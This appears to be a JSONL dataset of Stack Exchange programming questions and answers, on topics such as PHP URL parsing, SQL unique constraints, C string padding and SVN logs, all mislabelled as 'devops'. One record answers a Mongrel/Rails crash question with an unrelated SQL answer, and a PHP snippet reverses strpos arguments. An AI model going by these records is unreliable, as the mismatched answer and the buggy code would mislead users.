{"id": "hf_03f9e1b14239", "question": "<p>I need to build a function which parses the domain from a URL.</p>\n<p>So, with</p>\n<pre><code>http://google.com/dhasjkdas/sadsdds/sdda/sdads.html\n</code></pre>\n<p>or</p>\n<pre><code>http://www.google.com/dhasjkdas/sadsdds/sdda/sdads.html\n</code></pre>\n<p>it should return <code>google.com</code></p>\n<p>with</p>\n<pre><code>http://google.co.uk/dhasjkdas/sadsdds/sdda/sdads.html\n</code></pre>\n<p>it should return <code>google.co.uk</code>.</p>\n", "question_body": "", "answer": "Check out\n```\nparse_url()\n```\n:\n```\n```\n$url = 'http://google.com/dhasjkdas/sadsdds/sdda/sdads.html';\n$parse = parse_url($url);\necho $parse['host']; // prints 'google.com'\n```\n```\n```\nparse_url\n```\ndoesn't handle really badly mangled urls very well, but is fine if you generally expect decent urls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.903445"}
{"id": "hf_254dd2387bc8", "question": "<p>I'm looking to implement something in Java along the lines of:</p>\n\n<pre><code>class Foo{\n private int lorem; //\n private int ipsum;      \n\n public setAttribute(String attr, int val){\n  //sets attribute based on name\n }\n\n public static void main(String [] args){\n  Foo f = new Foo();\n  f.setAttribute(\"lorem\",1);\n  f.setAttribute(\"ipsum\",2);\n }\n\n public Foo(){}\n}\n</code></pre>\n\n<p>...where a variable is set based on the variable name without the variable names hard-coded and without using any other data structures. Is this possible?</p>\n", "question_body": "", "answer": "In general, you want to use Reflection. Here is a good introduction to the\ntopic with examples\nIn particular, the \"Changing Values of Fields\" section describes how to do what you'd like to do.\nI note that the author says, \"This feature is extremely powerful and has no equivalent in other conventional languages.\" Of course, in the last ten years (the article was written in 1998) we have seen great strides made in dynamic languages. The above is fairly easily done in Perl, Python, PHP, Ruby, and so on. I suspect this is the direction you might have come from based on the \"eval\" tag.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.978542"}
{"id": "hf_7720840ae2e1", "question": "<p>I'm going to running thousands of queries into SQL and I need to prevent the duplication of field 'domain'. Never had to do this before and any help would be appreciated.</p>\n", "question_body": "", "answer": "You probably want to create a \"UNIQUE\" constraint on the field \"Domain\" - this constraint will raise an error if you create two rows that have the same domain in the database. For an explanation, see\nthis tutorial in W3C school\n-\nhttp://www.w3schools.com/sql/sql_unique.asp\nIf this doesn't solve your problem, please clarify the database you have chosen to use (MySql?).\nNOTE: This constraint is completely separate from your choice of PHP as a programming language, it is a SQL database definition thing. A huge advantage of expressing this constraint in SQL is that you can trust the database to preserve the constraint even when people import / export data from the database, your application is buggy or another application shares the database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.014425"}
{"id": "hf_e12db923b413", "question": "<p>Running Mongrel 1.1.5 on Rails 2.1.2 using PostgreSQL 8.3 via ruby-pg 0.7.9 on OS X 10.4 server...</p>\n\n<p>Added restful_authentication and exception_notification, the latter of which appears to be doing me no good when Mongrel simply dies with \"Illegal instruction\" every time I select /RESOURCE_NAME/new.</p>\n\n<p>Doesn't matter what resource.</p>\n\n<p>In development.log I see it's declaring its intent to render /layouts/RESOURCE_NAME.html.erb and then ... nothing. No stack trace, no anything. server.log is empty.</p>\n\n<p>This is something of a showstopper and I'm not sure what to do. I tried running webbrick, a la:</p>\n\n<p>script/server webbrick --force</p>\n\n<p>But it ignores my wishes and loads mongrel anyway.</p>\n\n<p>Any pointers would be appreciated.</p>\n", "question_body": "", "answer": "You probably want to create a \"UNIQUE\" constraint on the field \"Domain\" - this constraint will raise an error if you create two rows that have the same domain in the database. For an explanation, see\nthis tutorial in W3C school\n-\nhttp://www.w3schools.com/sql/sql_unique.asp\nIf this doesn't solve your problem, please clarify the database you have chosen to use (MySql?).\nNOTE: This constraint is completely separate from your choice of PHP as a programming language, it is a SQL database definition thing. A huge advantage of expressing this constraint in SQL is that you can trust the database to preserve the constraint even when people import / export data from the database, your application is buggy or another application shares the database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.038748"}
{"id": "hf_cbfba6214ef1", "question": "<p>In vs2008, is it possible to write an extension methods which would apply to any enumeration.</p>\n\n<p>I know you can write extension methods against a specific enumeration, but I want to be able to every enumeration using a single extension method. Is this possible?</p>\n", "question_body": "", "answer": "Yes, just code against the base\n```\nEnum\n```\ntype, e.g.\n```\n```\npublic static void Something(this Enum e)\n{\n    // code here\n}\n```\n```\nThe down-side is you'll probably end up doing some quite nasty stuff like finding the real base type using\n```\nEnum.GetUnderlyingType\n```\n, casting, and going down different branches depending on what the base type of the enum is, but you can find some good uses for it (e.g. we have\n```\nIsOneOf\n```\nand\n```\nIsCombinationOf\n```\nmethods that apply to all enums).\nPS: Remember when writing the method that, although ill advised, you can use\n```\nfloat\n```\nand\n```\ndouble\n```\nas the base types for enums so you'll need some special cases for those as well as unsigned values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.063281"}
{"id": "hf_eecad6478b06", "question": "<p>Can Emacs support the concept of projects? That would be where several configuration options varies depending on what project you are working on.</p>\n", "question_body": "", "answer": "You generally wouldn't expect emacs to know about differences in build requirements---you let the build system (make or whatever) take care of that. To handle different coding standard define local\n```\nyourproject.el\n```\nfiles to set variables, load and unload local modes, etc... (use\n```\nM-x load-file\n```\nto run it).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.092090"}
{"id": "hf_046954f07493", "question": "<p>In php I need to get the contents of a url (source) search for a string \"maybe baby love you\" and if it does not contain this then do x.</p>\n", "question_body": "", "answer": "Just read the contents of the page as you would read a file. PHP does the connection stuff for you. Then just look for the string via regex or simple string comparison.\n```\n```\n$url = 'http://my.url.com/';\n$data = file_get_contents( $url );\n\nif ( strpos( 'maybe baby love you', $data ) === false )\n{\n\n    // do something\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.116786"}
{"id": "hf_85c74c944e30", "question": "<p>I'm using Excel 2007 to create a log-scale chart of numbers (specifically the Zimbabwean dollar exchange rate) over time. I'm using an x-y scatterplot and noticing one odd quirk.</p>\n\n<p>The range of y values (numbers) spans a factor of about 10^30. On every chart I make using this data, half the gridlines are missing. Specifically, only the gridlines corresponding to the largest values show up. In fact, regardless of the total range only the top factor of 10^13 or so have gridlines. This is not dependent on the log base.</p>\n\n<p>Am I doing something wrong? Is this a known bug? I can't find any references to this issue on google or microsoft's bug reports. </p>\n", "question_body": "", "answer": "I'm having the same problem, it's definitely a bug.\nTry a sequence 1, 10, 100, 1e+12, 1e+30 vs 0..4 and plot x,y scatter, and clearly the scale grid is messed-up even in linear, and in log is the behaviour you described.\nMy workaround was to make a transformation of the values and depict them scaled down (by a Million factor). That way the data the graph is handling is never above 10e9 (the value I started to hit issues).\nSo, my suggestion is: graph a Log version of the data (and clearly make a legend for it)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.141186"}
{"id": "hf_235f748fa422", "question": "<p>Given a pointer to some variable.. is there a way to check whether it was statically or dynamically allocated??  </p>\n", "question_body": "", "answer": "Can you hook into malloc() itself, like the malloc debuggers do, using LD_PRELOAD or something? If so, you could keep a table of all the allocated pointers and use that. Otherwise, I'm not sure. Is there a way to get at malloc's bookkeeping information?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.177785"}
{"id": "hf_9413c32cf9ce", "question": "<p>I've been studying OOP for quite a while now and I have a good grasp of the theory.  I read the <a href=\"https://rads.stackoverflow.com/amzn/click/com/0596008678\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Head First</a> book on OOP and, while it reinforced a lot of the theory, I found the case studies to be somewhat trivial.</p>\n\n<p>I find that I'm applying OOP principles to my code each day, but I'm not sure if I'm applying them correctly.  I need to get to the point where I am able to look at my code and know whether I'm using inheritance appropriately, whether my object is cohesive enough, etc.</p>\n\n<p>Does anyone have any good recommendations (books, online guides, blogs, walk-throughs, etc.) for taking the next step in developing solid OOP skills?</p>\n\n<p>I am working primarily in .NET (visual basic), but I welcome suggestions that incorporate various platforms.</p>\n", "question_body": "", "answer": "Consider looking into Design Patterns. Although it seems like they aren't commonly used in enterprise applications (I've seen them more commonly used in API's and Frameworks than embedded into enterprise code), they could be applied to make software simpler or more robust in a lot of situations if only developers knew how to apply them.\nThe key is to understand the design patterns first, then with experience you'll learn how to apply them.\nThere is a\nHead First book on design patterns\nthat teaches the concept pretty simply, although if you want a book that really covers design patterns in detail, check out the\nGang of Four design patterns book\n, which is basically what made design patterns mainstream and is referred to almost every time the topic is brought up.\nDesign patterns can be applied in pretty much any object-oriented language to some degree or another, although some patterns can be overkill or over engineering in some cases.\nEDIT:\nI also want to add, you should check out the book\nCode Complete 2\n. It's a very influential book in the world of software development. It covers a lot of different concepts and theories. I learn something new every time I read it. It's such a good book that if I read it every 6 months to a year, I look at it from a different perspective that makes me a better programmer just by re-reading it. No matter how much you might think you know, this book will make you realize just how little you really know. It's really a great book. I can't stress how much you should own this book.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.203193"}
{"id": "hf_b6bd672d92d5", "question": "<p>I have an application where I have potentially many processes must send a message to one process.  I figured the most expedient way to do this would be to just send a UDP datagram.</p>\n\n<p>When opening a socket, I need to specify which port to listen to.  As I just want to fire and forget the UDP datagram, I'd like to just have the OS pick an available port.  I'd rather not have to hunt for one, especially as many instances of my process may be running.  Is there a way I can tell the OS to just pick an available port (or better yet, not even open a listening socket) to fire and forget my UDP datagram? </p>\n", "question_body": "", "answer": "Answering the \"Problem\" rather than the \"Question\"\nIf all the processes are operating on the same PC, you might want to look into shared files or some other means of communications other than a networking stack.\nI'd suggest you explore the options in Boost's Interprocess library\nhttp://www.boost.org/doc/libs/1_37_0/doc/html/interprocess.html\nQuick guide here:\nhttp://www.boost.org/doc/libs/1_37_0/doc/html/interprocess/quick_guide.html\nSpecifically, I suggest you use a named pipe or shared memory between your processes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.252183"}
{"id": "hf_3423fdee55d3", "question": "<p>I have got 3 text files (A, B and C), each with several hundred email addresses. I want to merge list A and list B into a single file, ignoring differences in case and white space. Then I want to remove all emails in the new list that are in list C, again ignoring differences in case and white space.</p>\n\n<p>My programming language of choice is normally C++, but it seems poorly suited for this task. Is there a scripting language that could do this (and similar tasks) in relatively few lines?</p>\n\n<p>Or is there software already out there (free or commercial) that would allow me to do it? Is it possible to do it in Excel, for example?</p>\n", "question_body": "", "answer": "The fastest way to do this probably wouldn't necessarily require coding.  You could import files A and B into Excel in one worksheet, then (if necessary) do a filter on that resulting list of addresses to remove any duplicates.\nThe next step would be to import file C into a second worksheet.  In a third worksheet, you'd do a VLOOKUP to pick out all the addresses in your first list and remove them if they're in your \"List C\".\nThe VLOOKUP would look something like this:\n=IF(ISNA(VLOOKUP(\nemail_address_cell\n, Sheet2!\nemail_duplicates_list\n, 1, false), \"\", (VLOOKUP(\nemail_address_cell\n, Sheet2!\nemail_duplicates_list\n, 1, false)))\nI've also included a check to see if the formula returns a \"Value Not Available\" error, in which case the cell just shows a blank value.  From there, you just need to remove your white-space and there's your final list.\nNow having said all that, you could still do a VBA macro to do much the same thing, but perhaps clean the lists up a bit, depending on what you need.  Hope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.326248"}
{"id": "hf_9932c1f89f4d", "question": "<p>C#: What is the proper way to change the font style (underline) from a Label at runtime?</p>\n\n<p>So far I understand that if you want to change font related properties at runtime from a label, mainly all font properties, you would have to use,</p>\n\n<pre><code> lblName.Font = new Font(... etc. etc.\n</code></pre>\n\n<p>Is there a shortcut to the above but only assign nothing but a new Font style such FontStyle.Underline? </p>\n\n<p>or </p>\n\n<p>Would I have to proceed with using the \"new Font()\" method and assign all fields along with it too just to underline my label?</p>\n", "question_body": "", "answer": "How about (I'm using .Net Framework 2.0)  Okay so this works for a Web Application.  In a forms application it is read-only.\nlblName.Font.Underline = true;\nHere's the definition:\n```\n```\n//\n    // Summary:\n    //     Gets or sets a value that indicates whether the font is underlined.\n    //\n    // Returns:\n    //     true if the font is underlined; otherwise, false. The default value is false.\n    [DefaultValue(false)]\n    [NotifyParentProperty(true)]\n    public bool Underline { get; set; }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.363346"}
{"id": "hf_34dbe148afef", "question": "<p>Is it possible to import a python file more than once in a python script because i run a loop back to my driver file in a function by using the import command but it only works once? thanks</p>\n\n<p><strong>edit:</strong> Resolved myself thanks</p>\n", "question_body": "", "answer": "The easiest answer is to put the code you are trying to run inside a function like this\n(inside your module that you are importing now):\n```\n```\ndef main():\n    # All the code that currently does work goes in here \n    # rather than just in the module\n```\n```\n(The module that does the importing)\n```\n```\nimport your_module #used to do the work\n\nyour_module.main() # now does the work (and you can call it multiple times)\n# some other code\nyour_module.main() # do the work again\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.387649"}
{"id": "hf_e4f854e98e55", "question": "<p>I'm someone who writes code just for fun and haven't really delved into it in either an academic or professional setting, so stuff like these bitwise operators really escapes me.</p>\n\n<p>I was reading an article about JavaScript, which apparently supports bitwise operations. I keep seeing this operation mentioned in places, and I've tried reading about to figure out what exactly it is, but I just don't seem to get it at all. So what are they? Clear examples would be great! :D</p>\n\n<p>Just a few more questions - what are some practical applications of bitwise operations? When might you use them?</p>\n", "question_body": "", "answer": "These are the bitwise operators, all supported in JavaScript:\n```\nop1 & op2\n```\n-- The\n```\nAND\n```\noperator compares two bits and generates a result of 1 if both bits are 1; otherwise, it returns 0.\n```\nop1 | op2\n```\n-- The\n```\nOR\n```\noperator compares two bits and generates a result of 1 if the bits are complementary; otherwise, it returns 0.\n```\nop1 ^ op2\n```\n-- The\n```\nEXCLUSIVE-OR\n```\noperator compares two bits and returns 1 if either of the bits are 1 and it gives 0 if both bits are 0 or 1.\n```\n~op1\n```\n-- The\n```\nCOMPLEMENT\n```\noperator is used to invert all of the bits of the operand.\n```\nop1 << op2\n```\n-- The\n```\nSHIFT LEFT\n```\noperator moves the bits to the left, discards the far left bit, and assigns the rightmost bit a value of 0. Each move to the left effectively multiplies op1 by 2.\n```\nop1 >> op2\n```\n-- The\n```\nSHIFT RIGHT\n```\noperator moves the bits to the right, discards the far right bit, and assigns the leftmost bit a value of 0. Each move to the right effectively divides op1 in half.  The left-most sign bit is preserved.\n```\nop1 >>> op2\n```\n-- The\n```\nSHIFT RIGHT\n```\n-\n```\nZERO FILL\n```\noperator moves the bits to the right, discards the far right bit, and assigns the leftmost bit a value of 0. Each move to the right effectively divides op1 in half.  The left-most sign bit is discarded.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.423847"}
{"id": "hf_c8f757c2eb74", "question": "<p>I have a <code>T-Mobile G1</code> and I'm going to download the developer SDK and see if I can create a few simple apps for my phone.  If you've done similar development, please answer below and tell me about your experience.  Please share any links you found especially useful.</p>\n", "question_body": "", "answer": "I started from here\nhttp://code.google.com/android/kb/commontasks.html\nI got my environment and emulator up and running within about 15 minutes.\nFirst impressions are its fun to work with.\nPaul", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.461048"}
{"id": "hf_52785332ff3b", "question": "<p>I have a CSS like this</p>\n\n<pre><code>ul {\n    list-style-image:url(images/bulletArrow.gif);\n}\n\nul li {\n    background: url(images/hr.gif) no-repeat left bottom;\n    padding: 5px 0 7px 0;\n}\n</code></pre>\n\n<p>But the bullet image doesn't align properly in IE (it's fine in Firefox).\nI already have a background image for li, so I can't use the bullet image as a background.\nIs there any solution to this?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "There is a good explanation and solution of this here:\nhttp://css.maxdesign.com.au/listutorial/master.htm\nIt says that using\n```\nlist-style-image\n```\nresults in inconsistent placement of the image with different browsers. Then it explains how to use background images for the bullets for a better result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.497866"}
{"id": "hf_70cf97f6bf52", "question": "<p>I want to retrieve a list of the files that has been added or deleted from our Subversion repository over, for example, the last month.</p>\n\n<p>I'd prefer to have the file names, and not just a count.</p>\n\n<p>Is this possible from the Subversion command line, or would I need to use a script to trawl the log?</p>\n", "question_body": "", "answer": "I don't think you can do it with just the command-line tools, but outputting it with an XML format and doing some grepping or filtering would probably give you what you want.\nTry this for a start:\n```\n```\nsvn log -v --xml | grep 'action=\"[A|D]\"'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.534665"}
{"id": "hf_1b7d8c855c3a", "question": "<p>I'm currently working on a project were I had to wrap the C++ classes with Python to be able to script the program. So my specific experience also involved embedding the Python interpreter in our program.</p>\n\n<p>The alternatives I tried were:</p>\n\n<ul>\n<li><p>Boost.Python</p>\n\n<p>I liked the cleaner API produced by Boost.Python, but the fact that it would have required that users install an additional dependency made us switch to SWIG.</p></li>\n<li><p>SWIG</p>\n\n<p>SWIG's main advantage for us was that it doesn't require end users to install it to use the final program.</p></li>\n</ul>\n\n<p>What have you used to do this, and what has been your experience with it?</p>\n", "question_body": "", "answer": "I've used both (for the same project): Boost is better integrated with the STL, and especially C++ exceptions.  Also, its memory management mechanism (which tries to bridge C++ memory management and Python GC) is way more flexible than SWIG's.  However, SWIG has\nmuch\nbetter documentation, no external dependencies, and if you get the library wrapped in SWIG for Python you're more than half-way there to getting a Java/Perl/Ruby wrapper as well.\nI don't think there's a clear-cut choice: for smaller projects, I'd go with Boost.Python again, for larger long-lived projects, the extra investment in SWIG is worth it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.585734"}
{"id": "hf_1eddd5922758", "question": "<pre><code>(define (repeated f n)\n   if (= n 0)\n   f\n   ((compose repeated f) (lambda (x) (- n 1))))\n</code></pre>\n\n<p>I wrote this function, but how would I express this more clearly, using simple recursion with repeated?</p>\n\n<p>I'm sorry, I forgot to define my compose function.</p>\n\n<pre><code>(define (compose f g) (lambda (x) (f (g x))))\n</code></pre>\n\n<p>And the function takes as inputs a procedure that computes f and a positive integer n and returns the procedure that computes the nth repeated application of f.</p>\n", "question_body": "", "answer": "What\nis\nyour function trying to do, just out of curiosity? Is it to run\n```\nf\n```\n,\n```\nn\n```\ntimes? If so, you can do this.\n```\n```\n(define (repeated f n)\n  (for-each (lambda (i) (f)) (iota n)))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.649052"}
{"id": "hf_1dae0341ca67", "question": "<p>are there any free Team Foundation Server sites we can use for our <em>private</em> development? Please don't say CodePlex (which I love) because that means the code is all opensource.</p>\n\n<p>Lastly, I also understand that some people might raise the issue of having their private code hosted somewhere by people they do not know, etc.. so please don't raise any security concerns.</p>\n\n<p>I'm guessing there are no free services because of licensing reasons?</p>\n", "question_body": "", "answer": "I would find it doubtful that there would be a free one.  Team Foundation Server was very expensive for us to implement so I would be surprised if someone was hosting for free.  Other than the CodePlex type options.\nThere are services where you can pay per user per month like\nthis one\nor\nthis one\n>\nI find it doubtful you will find free though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.674461"}
{"id": "hf_e0c4335269ab", "question": "<p>The last week on the ACM ICPC Mexico competition, I missed a \"return 0\" on a C++ program. For this reason we got punished with 20 minutes.</p>\n\n<p>I had read that the standard does not oblige us to write it at the end of a main function. It is implicit, isn't it? How can I prove it? </p>\n\n<p>We were using a Fedora system with a G++ compiler. </p>\n", "question_body": "", "answer": "You refer to the C++ Standard, chapter 3.6.1 paragraph 5:\nA return statement in main has the\n  effect of leaving the main function\n  (destroying any objects with automatic\n  storage duration) and calling\n  exit with the return value as the\n  argument. If control reaches the end\n  of main without encountering a return\n  statement, the effect is that of\n  executing\n```\nreturn 0;\n```\nIf you haven't got the Standard at hand, you can show then the paragraph in a Working Draft. Here is one for c++98, which already had this defined.\nYou can learn more\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.698930"}
{"id": "hf_7be7692fc481", "question": "<p>I believe I already know the answer, but I am not 100% sure, so just a quick question: What does Red/Green Testing actually mean?</p>\n\n<p>I understand it as \"Write your tests first, so that they all fail (= all red), then write your code and watch how each test turns green, and when all are green, you're fine\".</p>\n\n<p>I heard this in <a href=\"http://sessions.visitmix.com/?selectedSearch=T22\" rel=\"noreferrer\">Scott's MVC Talk at Mix</a>, so I do not know if this is an \"official\" term or if he just made it up. (Edit: Scott actually also explains it starting at 55:00 Minutes, and he made a good remark why he beleives in it)</p>\n", "question_body": "", "answer": "It does refer to TDD or Test Driven Development, but it would apply to each test.  Write the test first, then write the code to pass the test.  It would be wrong to write ALL the tests first.  TDD is an incremental development approach.\nThe basic idea is no code is written before there is failing test (RED).  When you have a failing test, then you write the code to pass the test (GREEN).  Now you are ready to write the next test -- i.e., no new tests until all are green. Or refactor, as @Brian points out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.738282"}
{"id": "hf_8d2bbd70ba77", "question": "<p>I wrote this function that's supposed to do StringPadRight(\"Hello\", 10, \"0\") -> \"Hello00000\".</p>\n\n<pre><code>char *StringPadRight(char *string, int padded_len, char *pad) {\n    int len = (int) strlen(string);\n    if (len &gt;= padded_len) {\n        return string;\n    }\n    int i;\n    for (i = 0; i &lt; padded_len - len; i++) {\n        strcat(string, pad);\n    }\n    return string;\n}\n</code></pre>\n\n<p>It works but has some weird side effects... some of the other variables get changed.  How can I fix this?</p>\n", "question_body": "", "answer": "The argument you passed \"Hello\" is on the constant data area. Unless you've allocated enough memory to char * string, it's overrunning to other variables.\n```\n```\nchar buffer[1024];\nmemset(buffer, 0, sizeof(buffer));\nstrncpy(buffer, \"Hello\", sizeof(buffer));\nStringPadRight(buffer, 10, \"0\");\n```\n```\nEdit: Corrected from stack to constant data area.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.786233"}
{"id": "hf_e65a08b6489f", "question": "<p>How and why do 7- and 35-pass erases work?\nShouldn't a simple rewrite with all zeroes be enough?</p>\n", "question_body": "", "answer": "A single pass with zeros doesn't completely erase magnetic artifacts from a disk. It's still possible to recover the data from the drive. A 7-pass erasure using random data will do a pretty complete job to prevent reconstruction of the data on the drive.\nWikipedia has a number of different articles relating to this topic.\nhttp://en.wikipedia.org/wiki/Data_remanence\nhttp://en.wikipedia.org/wiki/Computer_forensics\nhttp://en.wikipedia.org/wiki/Data_erasure", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.822017"}
{"id": "hf_712fcbcb29d9", "question": "<p>Is there a way short of writing a seperate batch file or adding a system call to pause or getch or a breakpoint right before the end of the main function to keep a command window open after a command line application has finished running?</p>\n\n<p>Put differently, is there a way in the project properties to run another command after running the target path? If my program is \"foo.exe\", something equivalent to a batch file containing</p>\n\n<pre><code>@foo\n@pause\n</code></pre>\n\n<p>Edit: added \"or a getch or a breakpoint\"</p>\n", "question_body": "", "answer": "In C++\n```\n```\n#include <conio.h>\n\n// .. Your code\n\nint main()\n{\n  // More of your code\n\n  // Tell the user to press a key \n  getch();      // Get one character from the user (i.e a keypress)\n\n  return 0;\n\n}\n```\n```\nIf you are in a batch file, the command \"pause\" outputs \"Press any key to continue\" and waits for a keypress.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.846713"}
{"id": "hf_a7533bab79ce", "question": "<p>Or should they always be a function when business logic is invloved ?</p>\n\n<p>Example: Order.RequiresPayment </p>\n\n<p>property or function ?\nThere are business rules as for when it is true or not</p>\n\n<p>IS there a pattern that may determine this?</p>\n", "question_body": "", "answer": "When in doubt, consider maintenance of your code as a guideline.\nIf\n```\nOrderRequiresPayment\n```\nis determined very simply (for example, set\n```\ntrue\n```\non order creation,\n```\nfalse\n```\nwhen payment is received), a property is fine.\nIf it's determined by a formula, or if it's updated in many places, it's probably best to encapsulate it in a function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.871619"}
{"id": "hf_388b6fb9837a", "question": "<p>I would like to dynamically hide a button in one of my views depending on a certain condition.</p>\n\n<p>I tried adding some code to the view controller's <code>-viewWillAppear</code> method, to make the button hidden before displaying the actual view, but I still don't know how to do that.</p>\n\n<p>I have a reference to the button through an IBOutlet, but I'm not sure how to move forward from here. For reference, this is a UIBarButtonItem instance.</p>\n", "question_body": "", "answer": "Just set the button's hidden property to true:\n```\n```\nmyButton.hidden = YES;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:47.909306"}
